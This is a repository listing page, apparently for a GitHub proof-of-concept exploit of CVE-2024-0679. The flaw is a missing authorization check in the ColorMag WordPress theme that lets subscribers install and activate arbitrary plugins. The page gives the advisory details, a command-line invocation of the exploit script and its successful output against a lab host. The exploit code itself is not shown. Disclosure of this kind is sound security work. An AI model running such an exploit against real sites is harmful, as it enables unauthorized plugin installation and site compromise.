https://github.com/randomrobbiebf/cve-2024-0679

ColorMag <= 3.1.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation/Activation
https://github.com/randomrobbiebf/cve-2024-0679

cve-2024-0679 exploit wordpress

Last synced: about 12 hours ago
JSON representation

ColorMag <= 3.1.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation/Activation

• Host: GitHub
• URL: https://github.com/randomrobbiebf/cve-2024-0679
• Owner: RandomRobbieBF
• Created: 2024-01-19T22:30:51.000Z (10 months ago)
• Default Branch: main
• Last Pushed: 2024-01-19T22:36:10.000Z (10 months ago)
• Last Synced: 2024-08-23T18:12:18.795Z (3 months ago)
• Topics: cve-2024-0679, exploit, wordpress
• Language: Python
• Homepage:
• Size: 4.88 KB
• Stars: 2
• Watchers: 1
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        
# CVE-2024-0679

ColorMag <= 3.1.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation/Activation

# Description:

The ColorMag theme for WordPress is vulnerable to unauthorized access due to a missing capability check on the plugin_action_callback() function in all versions up to, and including, 3.1.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to install and activate arbitrary plugins.

```

Severity: medium

CVE ID: CVE-2024-0679

CVSS Score: 6.5

CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Plugin Slug: colormag

WPScan URL: https://www.wpscan.com/plugin/colormag

Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/e982d457-29db-468f-88c3-5afe04002dcf?source=api-prod

```

POC

---

```

$ python3 CVE-2024-0705.py --url http://wordpress.lan --username user --password useruser1 --slug ai-engine --plugin ai-engine/ai-engine.php

Logged in successfully.

Getting Nonce!

5e0195de06

Installing Plugin!

HTTP STATUS: 200 Response: {"success":true,"data":{"message":"Plugin activated successfully!"}}

```